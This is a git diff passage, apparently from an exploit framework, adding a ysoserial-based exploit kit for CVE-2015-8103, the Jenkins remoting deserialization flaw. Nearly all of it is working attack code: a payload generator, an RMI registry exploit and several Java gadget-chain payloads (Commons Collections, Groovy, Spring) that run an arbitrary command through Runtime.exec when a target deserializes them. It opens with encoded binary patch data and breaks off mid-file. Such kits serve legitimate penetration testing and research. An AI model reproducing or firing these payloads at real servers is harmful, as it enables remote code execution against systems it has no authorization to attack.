zO2NM6M=JsYWRZuH%u+&P$J>p%sqN6cb(TIK0nPkK7?0CZR?zcGjX7Q{dpjx11tJN9 zL6TF+lq<q@_1%7H)~gBInRlqVsg(ZSa&Y9+U*9bR-6`kd4jJ2m{ovUB4YUpKJ_B#u zdil?Rz)S{Hb7!Jt+sAZw)4eEwc3MidL^xV+-tK?@EB0X)GF8a=&Z|7A9BAgK*|iAN zM6l-ZGediI|2nP)l)I-?VpJ@f8?d+Ye07F1dxrbMy~b%uw7Y}k^AxypkViiceP8^# zP`RaDTvTu{(age=!>L5p9<Mg-$uE2|S?IY4+gU@2Sq}ptq&l-y!BXP#BJ?c?>_Jna z#;cGOj*UCmmh~7lp;t&}!SN_wn{)&*L_wx(pgrtFt-zaNXB1W_w`WF+P39NFu~nQG zvgmk<%Xw_*E7({m@(lv872VquWiDK&tr9H<X=yjNciI94xu#_GNXNKLqNrqhb#!9k z#|rj$_bh=5vr~JU*o%w!xyTkw(nbBW4A2sT%jVk%=<PtPahE>Z?hI-Hbte)W3WnC< z=ybC8koagMfE)CwYn|TWi(!gBPtY<#%V?yL><%P&G8QCS0|`#j@^q_(a}z1k&EI$Z z)tkTYQ#c#fO@=gXw0i_oxm}u>uB0dwj!nwSIp||@p+R#U2l%$+;D6!LWh^S3_K8{9 zm9ou2k6Nk|cU-0)61rv{<N6P#lR-tBhTO?IAC%gK9jMD4;ozo<#b>nyFSNG?G%rSa zAF|iXVdU<u4dpY|it>e^AB6Zts`w*qc$oCh=%9c2ok(daH6wBLqeKFYF$E7$<@aG_ z<Z-)M{jqwsM~VYTeIF91>p}%rBB+l%<vT*LIoh4_MY4xO`QomyCd4l)1gyW+(Z5K6 zT5Ey?j>RO91VDf3GC0k`0ipi|h6CokZ(jPS;2(Bzyd{if6g(adi-5(u&RI{%rD-Hp p0rf3)S_{X`C%0d`^GpA0&!(&u+I&%8tf0R=7!Qpc>-g_+_&;vUkPrX> literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-8103/serialized_payload_header b/data/exploits/CVE-2015-8103/serialized_payload_header new file mode 100644 index 0000000000..0499000e6b --- /dev/null +++ b/data/exploits/CVE-2015-8103/serialized_payload_header @@ -0,0 +1 @@ +<===[JENKINS REMOTING CAPACITY]===> \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-8103/Deserialize.java b/external/source/exploits/CVE-2015-8103/Deserialize.java new file mode 100755 index 0000000000..64d2d65a20 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/Deserialize.java @@ -0,0 +1,18 @@ +package ysoserial; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; + +import ysoserial.payloads.util.Serializables; + +/* + * for testing payloads across process boundaries + */ +public class Deserialize { + public static void main(final String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Serializables.deserialize(in); + } +} diff --git a/external/source/exploits/CVE-2015-8103/ExecBlockingSecurityManager.java b/external/source/exploits/CVE-2015-8103/ExecBlockingSecurityManager.java new file mode 100755 index 0000000000..042ca1fe4e --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/ExecBlockingSecurityManager.java @@ -0,0 +1,44 @@ +package ysoserial; + +import java.security.Permission; +import java.util.concurrent.Callable; + +public class ExecBlockingSecurityManager extends SecurityManager { + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + public void checkExec(final String cmd) { + super.checkExec(cmd); + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + }; + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + } + + public static void wrap(final Runnable runnable) throws Exception { + wrap(new Callable<Void>(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public static <T> T wrap(final Callable<T> callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); + System.setSecurityManager(new ExecBlockingSecurityManager()); + try { + return callable.call(); + } finally { + System.setSecurityManager(sm); + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-8103/GeneratePayload.java b/external/source/exploits/CVE-2015-8103/GeneratePayload.java new file mode 100755 index 0000000000..7f2ca55239 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/GeneratePayload.java @@ -0,0 +1,86 @@ +package ysoserial; + +import java.io.ObjectOutputStream; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.Set; + +import org.reflections.Reflections; + +import ysoserial.payloads.ObjectPayload; + +@SuppressWarnings("rawtypes") +public class GeneratePayload { + + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] args) { + if (args.length != 2) { + printUsage(); + System.exit(USAGE_CODE); + } + final String payloadType = args[0]; + final String command = args[1]; + + final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); + if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + final ObjectOutputStream objOut = new ObjectOutputStream(System.out); + objOut.writeObject(object); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + @SuppressWarnings("unchecked") + private static Class<? extends ObjectPayload> getPayloadClass(final String className) { + try { + return (Class<? extends ObjectPayload>) Class.forName(className); + } catch (Exception e1) { + } + try { + return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName() + + ".payloads." + className); + } catch (Exception e2) { + } + return null; + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); + System.err.println("\tAvailable payload types:"); + final List<Class<? extends ObjectPayload>> payloadClasses = + new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses()); + Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize + for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { + System.err.println("\t\t" + payloadClass.getSimpleName()); + } + } + + // get payload classes by classpath scanning + private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() { + final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName()); + final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + return payloadTypes; + } + + public static class ToStringComparator implements Comparator<Object> { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } + +} diff --git a/external/source/exploits/CVE-2015-8103/RMIRegistryExploit.java b/external/source/exploits/CVE-2015-8103/RMIRegistryExploit.java new file mode 100755 index 0000000000..fe319bc03f --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/RMIRegistryExploit.java @@ -0,0 +1,53 @@ +package ysoserial; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.Arrays; +import java.util.concurrent.Callable; + +import ysoserial.payloads.CommonsCollections1; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.util.Gadgets; + +/* + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. + * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. + * + * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote + * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . + */ +public class RMIRegistryExploit { + public static void main(final String[] args) throws Exception { + // ensure payload doesn't detonate during construction or deserialization + ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception { + Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); + String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className); + Object payload = payloadClass.newInstance().getObject(args[3]); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); + try { + registry.bind("pwned", remote); + } catch (Throwable e) { + e.printStackTrace(); + } + + try { + String[] names = registry.list(); + for (String name : names) { + System.out.println("looking up '" + name + "'"); + try { + Remote rem = registry.lookup(name); + System.out.println(Arrays.asList(rem.getClass().getInterfaces())); + } catch (Throwable e) { + e.printStackTrace(); + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + + return null; + }}); + } +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/ClassLoaderInvoker.java b/external/source/exploits/CVE-2015-8103/payloads/ClassLoaderInvoker.java new file mode 100755 index 0000000000..598e8156f3 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/ClassLoaderInvoker.java @@ -0,0 +1,70 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class ClassLoaderInvoker extends PayloadRunner implements ObjectPayload<InvocationHandler> { + + public InvocationHandler getObject(final String command) throws Exception { + final String fileName = command.split(" ")[0]; + final String clazzName = command.split(" ")[1]; + final URL[] urlArray = new URL[]{ new URL("file://" + fileName)}; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(URLClassLoader.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "newInstance", new Class[]{ URL[].class }}), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[]{ urlArray } }), + new InvokerTransformer("loadClass", new Class[] { + String.class}, new Object[] { clazzName }), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "main", new Class[]{String[].class} }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[]{ new String[]{} } }), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(ClassLoaderInvoker.class, args); + } +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections1.java b/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections1.java new file mode 100755 index 0000000000..b4e8b92180 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections1.java @@ -0,0 +1,78 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { + + public InvocationHandler getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections1.class, args); + } +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections2.java b/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections2.java new file mode 100755 index 0000000000..785457e5af --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections2.java @@ -0,0 +1,57 @@ +package ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + ... + TransformingComparator.compare() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { + + public Queue<Object> getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // create queue with numbers and basic comparator + final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); + // stub data for replacement later + queue.add(1); + queue.add(1); + + // switch method called by comparator + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = 1; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections2.class, args); + } + +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections3.java b/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections3.java new file mode 100755 index 0000000000..d9ebf5b31b --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections3.java @@ -0,0 +1,81 @@ +package ysoserial.payloads; + +import java.io.File; +import java.io.FileInputStream; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.io.FileUtils; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<InvocationHandler> { + + public InvocationHandler getObject(final String command) throws Exception { + final File f = new File("/tmp/ysocereal.jar"); + final byte[] bFile = FileUtils.readFileToByteArray(new File("/tmp/pwned.jar")); + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(FileUtils.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "writeByteArrayToFile", new Class[]{File.class, byte[].class} }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[]{f,bFile} }), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections3.class, args); + } +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/Groovy1.java b/external/source/exploits/CVE-2015-8103/payloads/Groovy1.java new file mode 100755 index 0000000000..5d24992160 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/Groovy1.java @@ -0,0 +1,45 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + Comparator.compare() (Proxy) + ConvertedClosure.invoke() + MethodClosure.call() + ... + Method.invoke() + Runtime.exec() + + Requires: + groovy + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) +public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { + + public InvocationHandler getObject(final String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = Gadgets.createProxy(closure, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Groovy1.class, args); + } +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/ObjectPayload.java b/external/source/exploits/CVE-2015-8103/payloads/ObjectPayload.java new file mode 100755 index 0000000000..d027157258 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/ObjectPayload.java @@ -0,0 +1,9 @@ +package ysoserial.payloads; + +public interface ObjectPayload<T> { + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/Spring1.java b/external/source/exploits/CVE-2015-8103/payloads/Spring1.java new file mode 100755 index 0000000000..f655cfb8b1 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/Spring1.java @@ -0,0 +1,78 @@ +package ysoserial.payloads; + +import static java.lang.Class.forName; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.beans.factory.ObjectFactory; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + + ObjectInputStream.readObject() + SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.findMethod() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.invokeMethod() + Method.invoke() + Templates(Proxy).newTransformer() + AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + ObjectFactory(Proxy).getObject() + AnnotationInvocationHandler.invoke() + HashMap.get() + Method.invoke() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + TemplatesImpl.TransletClassLoader.defineClass() + Pwner*(Javassist-generated).<static init> + Runtime.exec() + + */ + +@SuppressWarnings({"restriction", "rawtypes"}) +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) +public class Spring1 extends PayloadRunner implements ObjectPayload<Object> { + + public Object getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Spring1.class, args); + } + +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/annotation/Dependencies.java b/external/source/exploits/CVE-2015-8103/payloads/annotation/Dependencies.java new file mode 100755 index 0000000000..fc888e0537 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/annotation/Dependencies.java @@ -0,0 +1,12 @@ +package ysoserial.payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + String[] value() default {}; +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/util/ClassFiles.java b/external/source/exploits/CVE-2015-8103/payloads/util/ClassFiles.java new file mode 100755 index 0000000000..861f3f8272 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/util/ClassFiles.java @@ -0,0 +1,44 @@ +package ysoserial.payloads.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class<?> clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class<?> clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class<?> clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/util/Gadgets.java b/external/source/exploits/CVE-2015-8103/payloads/util/Gadgets.java new file mode 100755 index 0000000000..821fa5e32c --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/util/Gadgets.java @@ -0,0 +1,92 @@ +package ysoserial.payloads.util; + +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings("restriction") +public class Gadgets { + private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + private static final long serialVersionUID = -5971610431559700674L; + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + private static final long serialVersionUID = 8207363842866235160L; + } + + public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, + final Class<?> ... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { + final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); + } + + public static Map<String,Object> createMap(final String key, final Object val) { + final Map<String,Object> map = new HashMap<String, Object>(); + map.put(key,val); + return map; + } + + public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, + ClassFiles.classAsBytes(Foo.class)}); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + return templates; + } +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/util/PayloadRunner.java b/external/source/exploits/CVE-2015-8103/payloads/util/PayloadRunner.java new file mode 100755 index 0000000000..7fe8a07e53 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/util/PayloadRunner.java @@ -0,0 +1,40 @@ +package ysoserial.payloads.util; + +import static ysoserial.payloads.util.Serializables.deserialize; +import static ysoserial.payloads.util.Serializables.serialize; + +import java.util.concurrent.Callable; + +import ysoserial.ExecBlockingSecurityManager; +import ysoserial.payloads.ObjectPayload; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final Object objBefore = clazz.newInstance().getObject(command); + + System.out.println("serializing payload"); + + return serialize(objBefore); + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = deserialize(serialized); + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/util/Reflections.java b/external/source/exploits/CVE-2015-8103/payloads/util/Reflections.java new file mode 100755 index 0000000000..0e6b599a43 --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/util/Reflections.java @@ -0,0 +1,33 @@ +package ysoserial.payloads.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class Reflections { + + public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if 